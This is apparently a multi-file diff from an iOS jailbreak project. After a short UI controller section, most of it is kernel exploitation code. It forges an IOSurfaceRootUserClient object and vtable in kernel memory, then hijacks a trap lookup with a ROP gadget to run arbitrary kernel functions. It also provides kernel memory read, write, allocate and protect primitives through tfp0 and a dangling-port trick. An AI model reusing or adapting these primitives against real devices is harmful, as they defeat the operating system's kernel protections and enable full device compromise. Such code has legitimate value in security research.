- (IBAction)tappedOnSamB:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"sbingner"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
- (IBAction)tappendOnJoonwoo:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"iOS_App_Dev"] options:@{} completionHandler:nil];
|
||||
}
|
||||
- (IBAction)tappendOnUbik:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"HiMyNameIsUbik"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
|
||||
// This intentionally returns nil if called before it's been created by a proper init
|
||||
+(JailbreakViewController *)sharedController {
|
||||
return sharedController;
|
||||
}
|
||||
|
||||
-(void)updateOutputView {
|
||||
[self updateOutputViewFromQueue:@NO];
|
||||
}
|
||||
|
||||
-(void)updateOutputViewFromQueue:(NSNumber*)fromQueue {
|
||||
static BOOL updateQueued = NO;
|
||||
static struct timeval last = {0,0};
|
||||
static dispatch_queue_t updateQueue;
|
||||
|
||||
static dispatch_once_t onceToken;
|
||||
dispatch_once(&onceToken, ^{
|
||||
updateQueue = dispatch_queue_create("updateView", NULL);
|
||||
});
|
||||
|
||||
dispatch_async(updateQueue, ^{
|
||||
struct timeval now;
|
||||
|
||||
if (fromQueue.boolValue) {
|
||||
updateQueued = NO;
|
||||
}
|
||||
|
||||
if (updateQueued) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (gettimeofday(&now, NULL)) {
|
||||
LOG("gettimeofday failed");
|
||||
return;
|
||||
}
|
||||
|
||||
uint64_t elapsed = (now.tv_sec - last.tv_sec) * 1000000 + now.tv_usec - last.tv_usec;
|
||||
// 30 FPS
|
||||
if (elapsed > 1000000/30) {
|
||||
updateQueued = NO;
|
||||
gettimeofday(&last, NULL);
|
||||
dispatch_async(dispatch_get_main_queue(), ^{
|
||||
self.outputView.text = output;
|
||||
[self.outputView scrollRangeToVisible:NSMakeRange(self.outputView.text.length, 0)];
|
||||
});
|
||||
} else {
|
||||
NSTimeInterval waitTime = ((1000000/30) - elapsed) / 1000000.0;
|
||||
updateQueued = YES;
|
||||
dispatch_async(dispatch_get_main_queue(), ^{
|
||||
[self performSelector:@selector(updateOutputViewFromQueue:) withObject:@YES afterDelay:waitTime];
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
-(void)appendTextToOutput:(NSString *)text {
|
||||
if (_outputView == nil) {
|
||||
return;
|
||||
}
|
||||
static NSRegularExpression *remove = nil;
|
||||
static dispatch_once_t onceToken;
|
||||
dispatch_once(&onceToken, ^{
|
||||
remove = [NSRegularExpression regularExpressionWithPattern:@"^\\d{4}-\\d{2}-\\d{2}\\s\\d{2}:\\d{2}:\\d{2}\\.\\d+[-\\d\\s]+\\S+\\[\\d+:\\d+\\]\\s+"
|
||||
options:NSRegularExpressionAnchorsMatchLines error:nil];
|
||||
output = [NSMutableString new];
|
||||
});
|
||||
|
||||
text = [remove stringByReplacingMatchesInString:text options:0 range:NSMakeRange(0, text.length) withTemplate:@""];
|
||||
|
||||
@synchronized (output) {
|
||||
[output appendString:text];
|
||||
}
|
||||
[self updateOutputView];
|
||||
}
|
||||
|
||||
- (id)initWithCoder:(NSCoder *)aDecoder {
|
||||
@synchronized(sharedController) {
|
||||
if (sharedController == nil) {
|
||||
sharedController = [super initWithCoder:aDecoder];
|
||||
}
|
||||
}
|
||||
self = sharedController;
|
||||
return self;
|
||||
}
|
||||
|
||||
- (id)initWithNibName:(NSString *)nibNameOrNil bundle:(NSBundle *)nibBundleOrNil {
|
||||
@synchronized(sharedController) {
|
||||
if (sharedController == nil) {
|
||||
sharedController = [super initWithNibName:nibNameOrNil bundle:nibBundleOrNil];
|
||||
}
|
||||
}
|
||||
self = sharedController;
|
||||
return self;
|
||||
}
|
||||
|
||||
- (id)init {
|
||||
@synchronized(sharedController) {
|
||||
if (sharedController == nil) {
|
||||
sharedController = [super init];
|
||||
}
|
||||
}
|
||||
self = sharedController;
|
||||
return self;
|
||||
}
|
||||
|
||||
@end
|
||||
@@ -0,0 +1,6 @@
|
||||
#include <common.h>
|
||||
#include <mach/mach.h>
|
||||
|
||||
bool init_kexec(void);
|
||||
void term_kexec(void);
|
||||
kptr_t kexec(kptr_t ptr, kptr_t x0, kptr_t x1, kptr_t x2, kptr_t x3, kptr_t x4, kptr_t x5, kptr_t x6);
|
||||
@@ -1,111 +1,145 @@
|
||||
#include <pthread.h>
|
||||
#include <QiLin.h>
|
||||
#include "KernelExecution.h"
|
||||
#include "KernelMemory.h"
|
||||
#include "KernelOffsets.h"
|
||||
#include "KernelUtilities.h"
|
||||
#include "find_port.h"
|
||||
#include "kernel_call.h"
|
||||
#include <common.h>
|
||||
#include <iokit.h>
|
||||
#include "kmem.h"
|
||||
#include "kexecute.h"
|
||||
#include "offsets.h"
|
||||
#include <pthread.h>
|
||||
#import <patchfinder64.h>
|
||||
#include "parameters.h"
|
||||
#include "kc_parameters.h"
|
||||
#include "kernel_memory.h"
|
||||
|
||||
mach_port_t prepare_user_client() {
|
||||
#if !__arm64e__
|
||||
static mach_port_t prepare_user_client()
|
||||
{
|
||||
kern_return_t err;
|
||||
mach_port_t user_client;
|
||||
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));
|
||||
|
||||
|
||||
if (service == IO_OBJECT_NULL) {
|
||||
LOG("unable to find service\n");
|
||||
LOG("unable to find service");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
|
||||
err = IOServiceOpen(service, mach_task_self(), 0, &user_client);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to get user client connection\n");
|
||||
LOG("unable to get user client connection");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
|
||||
LOG("got user client: 0x%x\n", user_client);
|
||||
|
||||
return user_client;
|
||||
}
|
||||
|
||||
// TODO: Consider removing this - jailbreakd runs all kernel ops on the main thread
|
||||
pthread_mutex_t kexecute_lock;
|
||||
static mach_port_t user_client;
|
||||
static uint64_t IOSurfaceRootUserClient_port;
|
||||
static uint64_t IOSurfaceRootUserClient_addr;
|
||||
static uint64_t fake_vtable;
|
||||
static uint64_t fake_client;
|
||||
const int fake_kalloc_size = 0x1000;
|
||||
static kptr_t IOSurfaceRootUserClient_port;
|
||||
static kptr_t IOSurfaceRootUserClient_addr;
|
||||
static kptr_t fake_vtable;
|
||||
static kptr_t fake_client;
|
||||
static const int fake_kalloc_size = 0x1000;
|
||||
#endif
|
||||
static pthread_mutex_t kexec_lock;
|
||||
|
||||
void init_kexecute(uint64_t add_x0_x0_0x40_ret) {
|
||||
bool init_kexec()
|
||||
{
|
||||
#if __arm64e__
|
||||
if (!parameters_init()) return false;
|
||||
kernel_task_port = tfp0;
|
||||
if (!MACH_PORT_VALID(kernel_task_port)) return false;
|
||||
current_task = ReadKernel64(task_self_addr() + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
|
||||
if (!KERN_POINTER_VALID(current_task)) return false;
|
||||
kernel_task = ReadKernel64(getoffset(kernel_task));
|
||||
if (!KERN_POINTER_VALID(kernel_task)) return false;
|
||||
if (!kernel_call_init()) return false;
|
||||
#else
|
||||
user_client = prepare_user_client();
|
||||
|
||||
if (!MACH_PORT_VALID(user_client)) return false;
|
||||
|
||||
// From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable
|
||||
IOSurfaceRootUserClient_port = getAddressOfPort(getpid(), user_client); // UserClients are just mach_ports, so we find its address
|
||||
|
||||
IOSurfaceRootUserClient_port = get_address_of_port(proc_struct_addr(), user_client); // UserClients are just mach_ports, so we find its address
|
||||
if (!KERN_POINTER_VALID(IOSurfaceRootUserClient_port)) return false;
|
||||
|
||||
IOSurfaceRootUserClient_addr = ReadKernel64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); // The UserClient itself (the C++ object) is at the kobject field
|
||||
|
||||
uint64_t IOSurfaceRootUserClient_vtab = ReadKernel64(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object
|
||||
|
||||
if (!KERN_POINTER_VALID(IOSurfaceRootUserClient_addr)) return false;
|
||||
|
||||
kptr_t IOSurfaceRootUserClient_vtab = ReadKernel64(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object
|
||||
if (!KERN_POINTER_VALID(IOSurfaceRootUserClient_vtab)) return false;
|
||||
|
||||
// The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one
|
||||
// Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel
|
||||
|
||||
|
||||
// Create the vtable in the kernel memory, then copy the existing vtable into there
|
||||
fake_vtable = kmem_alloc(fake_kalloc_size);
|
||||
|
||||
if (!KERN_POINTER_VALID(fake_vtable)) return false;
|
||||
|
||||
for (int i = 0; i < 0x200; i++) {
|
||||
WriteKernel64(fake_vtable+i*8, ReadKernel64(IOSurfaceRootUserClient_vtab+i*8));
|
||||
WriteKernel64(fake_vtable + i * 8, ReadKernel64(IOSurfaceRootUserClient_vtab + i * 8));
|
||||
}
|
||||
|
||||
|
||||
// Create the fake user client
|
||||
fake_client = kmem_alloc(fake_kalloc_size);
|
||||
|
||||
if (!KERN_POINTER_VALID(fake_client)) return false;
|
||||
|
||||
for (int i = 0; i < 0x200; i++) {
|
||||
WriteKernel64(fake_client+i*8, ReadKernel64(IOSurfaceRootUserClient_addr+i*8));
|
||||
WriteKernel64(fake_client + i * 8, ReadKernel64(IOSurfaceRootUserClient_addr + i * 8));
|
||||
}
|
||||
|
||||
|
||||
// Write our fake vtable into the fake user client
|
||||
WriteKernel64(fake_client, fake_vtable);
|
||||
|
||||
|
||||
// Replace the user client with ours
|
||||
WriteKernel64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), fake_client);
|
||||
|
||||
|
||||
// Now the userclient port we have will look into our fake user client rather than the old one
|
||||
|
||||
|
||||
// Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;)
|
||||
WriteKernel64(fake_vtable+8*0xB7, add_x0_x0_0x40_ret);
|
||||
|
||||
pthread_mutex_init(&kexecute_lock, NULL);
|
||||
WriteKernel64(fake_vtable + 8 * 0xB7, getoffset(add_x0_x0_0x40_ret));
|
||||
|
||||
#endif
|
||||
pthread_mutex_init(&kexec_lock, NULL);
|
||||
return true;
|
||||
}
|
||||
|
||||
void term_kexecute() {
|
||||
void term_kexec()
|
||||
{
|
||||
#if __arm64e__
|
||||
kernel_call_deinit();
|
||||
#else
|
||||
WriteKernel64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), IOSurfaceRootUserClient_addr);
|
||||
kmem_free(fake_vtable, fake_kalloc_size);
|
||||
kmem_free(fake_client, fake_kalloc_size);
|
||||
IOServiceClose(user_client);
|
||||
#endif
|
||||
pthread_mutex_destroy(&kexec_lock);
|
||||
}
|
||||
|
||||
uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6) {
|
||||
pthread_mutex_lock(&kexecute_lock);
|
||||
|
||||
kptr_t kexec(kptr_t ptr, kptr_t x0, kptr_t x1, kptr_t x2, kptr_t x3, kptr_t x4, kptr_t x5, kptr_t x6)
|
||||
{
|
||||
kptr_t returnval = 0;
|
||||
pthread_mutex_lock(&kexec_lock);
|
||||
#if __arm64e__
|
||||
returnval = kernel_call_7(ptr, 7, x0, x1, x2, x3, x4, x5, x6);
|
||||
#else
|
||||
// When calling IOConnectTrapX, this makes a call to iokit_user_client_trap, which is the user->kernel call (MIG). This then calls IOUserClient::getTargetAndTrapForIndex
|
||||
// to get the trap struct (which contains an object and the function pointer itself). This function calls IOUserClient::getExternalTrapForIndex, which is expected to return a trap.
|
||||
// This jumps to our gadget, which returns +0x40 into our fake user_client, which we can modify. The function is then called on the object. But how C++ actually works is that the
|
||||
// function is called with the first arguement being the object (referenced as `this`). Because of that, the first argument of any function we call is the object, and everything else is passed
|
||||
// through like normal.
|
||||
|
||||
|
||||
// Because the gadget gets the trap at user_client+0x40, we have to overwrite the contents of it
|
||||
// We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents
|
||||
// (i'm not actually sure if the switch back is necessary but meh)
|
||||
|
||||
uint64_t offx20 = ReadKernel64(fake_client+0x40);
|
||||
uint64_t offx28 = ReadKernel64(fake_client+0x48);
|
||||
WriteKernel64(fake_client+0x40, x0);
|
||||
WriteKernel64(fake_client+0x48, addr);
|
||||
uint64_t returnval = IOConnectTrap6(user_client, 0, (uint64_t)(x1), (uint64_t)(x2), (uint64_t)(x3), (uint64_t)(x4), (uint64_t)(x5), (uint64_t)(x6));
|
||||
WriteKernel64(fake_client+0x40, offx20);
|
||||
WriteKernel64(fake_client+0x48, offx28);
|
||||
|
||||
pthread_mutex_unlock(&kexecute_lock);
|
||||
|
||||
|
||||
kptr_t offx20 = ReadKernel64(fake_client + 0x40);
|
||||
kptr_t offx28 = ReadKernel64(fake_client + 0x48);
|
||||
WriteKernel64(fake_client + 0x40, x0);
|
||||
WriteKernel64(fake_client + 0x48, ptr);
|
||||
returnval = IOConnectTrap6(user_client, 0, x1, x2, x3, x4, x5, x6);
|
||||
WriteKernel64(fake_client + 0x40, offx20);
|
||||
WriteKernel64(fake_client + 0x48, offx28);
|
||||
#endif
|
||||
pthread_mutex_unlock(&kexec_lock);
|
||||
return returnval;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,287 @@
|
||||
#include <mach/mach.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include "KernelMemory.h"
|
||||
#include "KernelUtilities.h"
|
||||
#include <common.h>
|
||||
|
||||
size_t kreads = 0;
|
||||
size_t kwrites = 0;
|
||||
|
||||
// the exploit bootstraps the full kernel memory read/write with a fake
|
||||
// task which just allows reading via the bsd_info->pid trick
|
||||
// this first port is kmem_read_port
|
||||
mach_port_t kmem_read_port = MACH_PORT_NULL;
|
||||
void prepare_rk_via_kmem_read_port(mach_port_t port)
|
||||
{
|
||||
kmem_read_port = port;
|
||||
}
|
||||
|
||||
mach_port_t tfp0 = MACH_PORT_NULL;
|
||||
void prepare_rwk_via_tfp0(mach_port_t port)
|
||||
{
|
||||
tfp0 = port;
|
||||
}
|
||||
|
||||
void prepare_for_rw_with_fake_tfp0(mach_port_t fake_tfp0)
|
||||
{
|
||||
tfp0 = fake_tfp0;
|
||||
}
|
||||
|
||||
bool have_kmem_read()
|
||||
{
|
||||
return MACH_PORT_VALID(kmem_read_port) || MACH_PORT_VALID(tfp0);
|
||||
}
|
||||
|
||||
bool have_kmem_write()
|
||||
{
|
||||
return MACH_PORT_VALID(tfp0);
|
||||
}
|
||||
|
||||
size_t kread(kptr_t where, void* p, size_t size)
|
||||
{
|
||||
int rv;
|
||||
size_t offset = 0;
|
||||
while (offset < size) {
|
||||
mach_vm_size_t sz, chunk = 2048;
|
||||
if (chunk > size - offset) {
|
||||
chunk = size - offset;
|
||||
}
|
||||
rv = mach_vm_read_overwrite(tfp0,
|
||||
where + offset,
|
||||
chunk,
|
||||
(mach_vm_address_t)p + offset,
|
||||
&sz);
|
||||
if (rv || sz == 0) {
|
||||
LOG("error reading kernel @%p", (void*)(offset + where));
|
||||
break;
|
||||
}
|
||||
offset += sz;
|
||||
}
|
||||
kreads += offset;
|
||||
return offset;
|
||||
}
|
||||
|
||||
size_t kwrite(kptr_t where, const void* p, size_t size)
|
||||
{
|
||||
int rv;
|
||||
size_t offset = 0;
|
||||
while (offset < size) {
|
||||
size_t chunk = 2048;
|
||||
if (chunk > size - offset) {
|
||||
chunk = size - offset;
|
||||
}
|
||||
rv = mach_vm_write(tfp0,
|
||||
where + offset,
|
||||
(mach_vm_offset_t)p + offset,
|
||||
(mach_msg_type_number_t)chunk);
|
||||
if (rv) {
|
||||
LOG("error writing kernel @%p", (void*)(offset + where));
|
||||
break;
|
||||
}
|
||||
offset += chunk;
|
||||
}
|
||||
kwrites += offset;
|
||||
return offset;
|
||||
}
|
||||
|
||||
bool wkbuffer(kptr_t kaddr, void* buffer, size_t length)
|
||||
{
|
||||
if (!MACH_PORT_VALID(tfp0)) {
|
||||
LOG("attempt to write to kernel memory before any kernel memory write primitives available");
|
||||
return false;
|
||||
}
|
||||
|
||||
return (kwrite(kaddr, buffer, length) == length);
|
||||
}
|
||||
|
||||
bool rkbuffer(kptr_t kaddr, void* buffer, size_t length)
|
||||
{
|
||||
if (!MACH_PORT_VALID(tfp0)) {
|
||||
LOG("attempt to read kernel memory but no kernel memory read primitives available");
|
||||
return 0;
|
||||
}
|
||||
|
||||
return (kread(kaddr, buffer, length) == length);
|
||||
}
|
||||
|
||||
bool WriteKernel32(kptr_t kaddr, uint32_t val)
|
||||
{
|
||||
return wkbuffer(kaddr, &val, sizeof(val));
|
||||
}
|
||||
|
||||
bool WriteKernel64(kptr_t kaddr, uint64_t val)
|
||||
{
|
||||
return wkbuffer(kaddr, &val, sizeof(val));
|
||||
}
|
||||
|
||||
uint32_t rk32_via_kmem_read_port(kptr_t kaddr)
|
||||
{
|
||||
kern_return_t err;
|
||||
if (kmem_read_port == MACH_PORT_NULL) {
|
||||
LOG("kmem_read_port not set, have you called prepare_rk?");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
mach_port_context_t context = (mach_port_context_t)kaddr - 0x10;
|
||||
err = mach_port_set_context(mach_task_self(), kmem_read_port, context);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("error setting context off of dangling port: %x %s", err, mach_error_string(err));
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
// now do the read:
|
||||
uint32_t val = 0;
|
||||
err = pid_for_task(kmem_read_port, (int*)&val);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("error calling pid_for_task %x %s", err, mach_error_string(err));
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
return val;
|
||||
}
|
||||
|
||||
uint32_t rk32_via_tfp0(kptr_t kaddr)
|
||||
{
|
||||
uint32_t val = 0;
|
||||
rkbuffer(kaddr, &val, sizeof(val));
|
||||
return val;
|
||||
}
|
||||
|
||||
uint64_t rk64_via_kmem_read_port(kptr_t kaddr)
|
||||
{
|
||||
uint64_t lower = rk32_via_kmem_read_port(kaddr);
|
||||
uint64_t higher = rk32_via_kmem_read_port(kaddr + 4);
|
||||
uint64_t full = ((higher << 32) | lower);
|
||||
return full;
|
||||
}
|
||||
|
||||
uint64_t rk64_via_tfp0(kptr_t kaddr)
|
||||
{
|
||||
uint64_t val = 0;
|
||||
rkbuffer(kaddr, &val, sizeof(val));
|
||||
return val;
|
||||
}
|
||||
|
||||
uint32_t ReadKernel32(kptr_t kaddr)
|
||||
{
|
||||
if (MACH_PORT_VALID(tfp0)) {
|
||||
return rk32_via_tfp0(kaddr);
|
||||
} else if (MACH_PORT_VALID(kmem_read_port)) {
|
||||
return rk32_via_kmem_read_port(kaddr);
|
||||
} else {
|
||||
LOG("attempt to read kernel memory but no kernel memory read primitives available");
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
uint64_t ReadKernel64(kptr_t kaddr)
|
||||
{
|
||||
if (MACH_PORT_VALID(tfp0)) {
|
||||
return rk64_via_tfp0(kaddr);
|
||||
} else if (MACH_PORT_VALID(kmem_read_port)) {
|
||||
return rk64_via_kmem_read_port(kaddr);
|
||||
} else {
|
||||
LOG("attempt to read kernel memory but no kernel memory read primitives available");
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
void kmemcpy(uint64_t dest, uint64_t src, uint32_t length)
|
||||
{
|
||||
if (KERN_POINTER_VALID(dest)) {
|
||||
// copy to kernel
|
||||
wkbuffer(dest, (void*)src, length);
|
||||
} else {
|
||||
// copy from kernel
|
||||
rkbuffer(src, (void*)dest, length);
|
||||
}
|
||||
}
|
||||
|
||||
kptr_t kmem_alloc(uint64_t size)
|
||||
{
|
||||
if (!MACH_PORT_VALID(tfp0)) {
|
||||
LOG("attempt to allocate kernel memory before any kernel memory write primitives available");
|
||||
return 0;
|
||||
}
|
||||
|
||||
kern_return_t err;
|
||||
mach_vm_address_t addr = 0;
|
||||
mach_vm_size_t ksize = round_page_kernel(size);
|
||||
err = mach_vm_allocate(tfp0, &addr, ksize, VM_FLAGS_ANYWHERE);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to allocate kernel memory via tfp0: %s %x", mach_error_string(err), err);
|
||||
return 0;
|
||||
}
|
||||
|
||||
return addr;
|
||||
}
|
||||
|
||||
kptr_t kmem_alloc_wired(uint64_t size)
|
||||
{
|
||||
if (!MACH_PORT_VALID(tfp0)) {
|
||||
LOG("attempt to allocate kernel memory before any kernel memory write primitives available");
|
||||
return 0;
|
||||
}
|
||||
|
||||
kern_return_t err;
|
||||
mach_vm_address_t addr = 0;
|
||||
mach_vm_size_t ksize = round_page_kernel(size);
|
||||
|
||||
err = mach_vm_allocate(tfp0, &addr, ksize + 0x4000, VM_FLAGS_ANYWHERE);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to allocate kernel memory via tfp0: %s %x", mach_error_string(err), err);
|
||||
return 0;
|
||||
}
|
||||
|
||||
addr += 0x3fff;
|
||||
addr &= ~0x3fffull;
|
||||
|
||||
host_t host = mach_host_self();
|
||||
err = mach_vm_wire(host, tfp0, addr, ksize, VM_PROT_READ | VM_PROT_WRITE);
|
||||
mach_port_deallocate(mach_task_self(), host);
|
||||
host = HOST_NULL;
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to wire kernel memory via tfp0: %s %x", mach_error_string(err), err);
|
||||
return 0;
|
||||
}
|
||||
|
||||
return addr;
|
||||
}
|
||||
|
||||
bool kmem_free(kptr_t kaddr, uint64_t size)
|
||||
{
|
||||
if (!MACH_PORT_VALID(tfp0)) {
|
||||
LOG("attempt to deallocate kernel memory before any kernel memory write primitives available");
|
||||
return false;
|
||||
}
|
||||
|
||||
kern_return_t err;
|
||||
mach_vm_size_t ksize = round_page_kernel(size);
|
||||
err = mach_vm_deallocate(tfp0, kaddr, ksize);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to deallocate kernel memory via tfp0: %s %x", mach_error_string(err), err);
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool kmem_protect(kptr_t kaddr, uint32_t size, vm_prot_t prot)
|
||||
{
|
||||
if (!MACH_PORT_VALID(tfp0)) {
|
||||
LOG("attempt to change protection of kernel memory before any kernel memory write primitives available");
|
||||
return false;
|
||||
}
|
||||
|
||||
kern_return_t err;
|
||||
err = mach_vm_protect(tfp0, (mach_vm_address_t)kaddr, (mach_vm_size_t)size, 0, (vm_prot_t)prot);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to change protection of kernel memory via tfp0: %s %x", mach_error_string(err), err);
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
@@ -0,0 +1,96 @@
|
||||
#ifndef KernelMemory_h
|
||||
#define KernelMemory_h
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <stdbool.h>
|
||||
#include <common.h>
|
||||
|
||||
/***** mach_vm.h *****/
|
||||
kern_return_t mach_vm_read(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size,
|
||||
vm_offset_t* data,
|
||||
mach_msg_type_number_t* dataCnt);
|
||||
|
||||
kern_return_t mach_vm_write(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
vm_offset_t data,
|
||||
mach_msg_type_number_t dataCnt);
|
||||
|
||||
kern_return_t mach_vm_read_overwrite(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size,
|
||||
mach_vm_address_t data,
|
||||
mach_vm_size_t* outsize);
|
||||
|
||||
kern_return_t mach_vm_allocate(
|
||||
vm_map_t target,
|
||||
mach_vm_address_t* address,
|
||||
mach_vm_size_t size,
|
||||
int flags);
|
||||
|
||||
kern_return_t mach_vm_deallocate(
|
||||
vm_map_t target,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size);
|
||||
|
||||
kern_return_t mach_vm_protect(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size,
|
||||
boolean_t set_maximum,
|
||||
vm_prot_t new_protection);
|
||||
|
||||
kern_return_t mach_vm_remap(
|
||||
mach_port_name_t target,
|
||||
mach_vm_address_t *address,
|
||||
mach_vm_size_t size,
|
||||
mach_vm_offset_t mask,
|
||||
int flags,
|
||||
mach_port_name_t src_task,
|
||||
mach_vm_address_t src_address,
|
||||
boolean_t copy,
|
||||
vm_prot_t *cur_protection,
|
||||
vm_prot_t *max_protection,
|
||||
vm_inherit_t inheritance);
|
||||
|
||||
extern size_t kreads;
|
||||
extern size_t kwrites;
|
||||
extern mach_port_t tfp0;
|
||||
|
||||
size_t kread(kptr_t where, void* p, size_t size);
|
||||
size_t kwrite(kptr_t where, const void* p, size_t size);
|
||||
|
||||
#define rk32(kaddr) ReadKernel32(kaddr)
|
||||
#define rk64(kaddr) ReadKernel64(kaddr)
|
||||
uint32_t ReadKernel32(kptr_t kaddr);
|
||||
uint64_t ReadKernel64(kptr_t kaddr);
|
||||
|
||||
#define wk32(kaddr, val) WriteKernel32(kaddr, val)
|
||||
#define wk64(kaddr, val) WriteKernel64(kaddr, val)
|
||||
bool WriteKernel32(kptr_t kaddr, uint32_t val);
|
||||
bool WriteKernel64(kptr_t kaddr, uint64_t val);
|
||||
|
||||
bool wkbuffer(kptr_t kaddr, void* buffer, size_t length);
|
||||
bool rkbuffer(kptr_t kaddr, void* buffer, size_t length);
|
||||
|
||||
void kmemcpy(uint64_t dest, uint64_t src, uint32_t length);
|
||||
|
||||
bool kmem_protect(kptr_t kaddr, uint32_t size, vm_prot_t prot);
|
||||
|
||||
kptr_t kmem_alloc(uint64_t size);
|
||||
kptr_t kmem_alloc_wired(uint64_t size);
|
||||
bool kmem_free(kptr_t kaddr, uint64_t size);
|
||||
|
||||
void prepare_rk_via_kmem_read_port(mach_port_t port);
|
||||
void prepare_rwk_via_tfp0(mach_port_t port);
|
||||
void prepare_for_rw_with_fake_tfp0(mach_port_t fake_tfp0);
|
||||
|
||||
// query whether kmem read or write is present
|
||||
bool have_kmem_read(void);
|
||||
bool have_kmem_write(void);
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,128 @@
|
||||
#ifndef KernelOffsets_h
|
||||
#define KernelOffsets_h
|
||||
|
||||
extern uint32_t* offsets;
|
||||
|
||||
enum kernel_offset {
|
||||
/* struct task */
|
||||
KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,
|
||||
KSTRUCT_OFFSET_TASK_REF_COUNT,
|
||||
KSTRUCT_OFFSET_TASK_ACTIVE,
|
||||
KSTRUCT_OFFSET_TASK_VM_MAP,
|
||||
KSTRUCT_OFFSET_TASK_NEXT,
|
||||
KSTRUCT_OFFSET_TASK_PREV,
|
||||
KSTRUCT_OFFSET_TASK_ITK_SPACE,
|
||||
KSTRUCT_OFFSET_TASK_BSD_INFO,
|
||||
KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR,
|
||||
KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE,
|
||||
KSTRUCT_OFFSET_TASK_TFLAGS,
|
||||
KSTRUCT_OFFSET_TASK_LOCK,
|
||||
|
||||
/* struct ipc_port */
|
||||
KSTRUCT_OFFSET_IPC_PORT_IO_BITS,
|
||||
KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES,
|
||||
KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE,
|
||||
KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT,
|
||||
KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER,
|
||||
KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT,
|
||||
KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG,
|
||||
KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT,
|
||||
KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS,
|
||||
|
||||
/* struct proc */
|
||||
KSTRUCT_OFFSET_PROC_PID,
|
||||
KSTRUCT_OFFSET_PROC_P_FD,
|
||||
KSTRUCT_OFFSET_PROC_TASK,
|
||||
KSTRUCT_OFFSET_PROC_UCRED,
|
||||
KSTRUCT_OFFSET_PROC_P_LIST,
|
||||
KSTRUCT_OFFSET_PROC_P_CSFLAGS,
|
||||
KSTRUCT_OFFSET_PROC_P_MEMSTAT_STATE,
|
||||
KSTRUCT_OFFSET_PROC_MLOCK,
|
||||
KSTRUCT_OFFSET_PROC_UCRED_MLOCK,
|
||||
KSTRUCT_OFFSET_PROC_SVUID,
|
||||
KSTRUCT_OFFSET_PROC_SVGID,
|
||||
|
||||
/* struct filedesc */
|
||||
KSTRUCT_OFFSET_FILEDESC_FD_OFILES,
|
||||
|
||||
/* struct fileproc */
|
||||
KSTRUCT_OFFSET_FILEPROC_F_FGLOB,
|
||||
|
||||
/* struct fileglob */
|
||||
KSTRUCT_OFFSET_FILEGLOB_FG_DATA,
|
||||
|
||||
/* struct socket */
|
||||
KSTRUCT_OFFSET_SOCKET_SO_PCB,
|
||||
|
||||
/* struct pipe */
|
||||
KSTRUCT_OFFSET_PIPE_BUFFER,
|
||||
|
||||
/* struct ipc_space */
|
||||
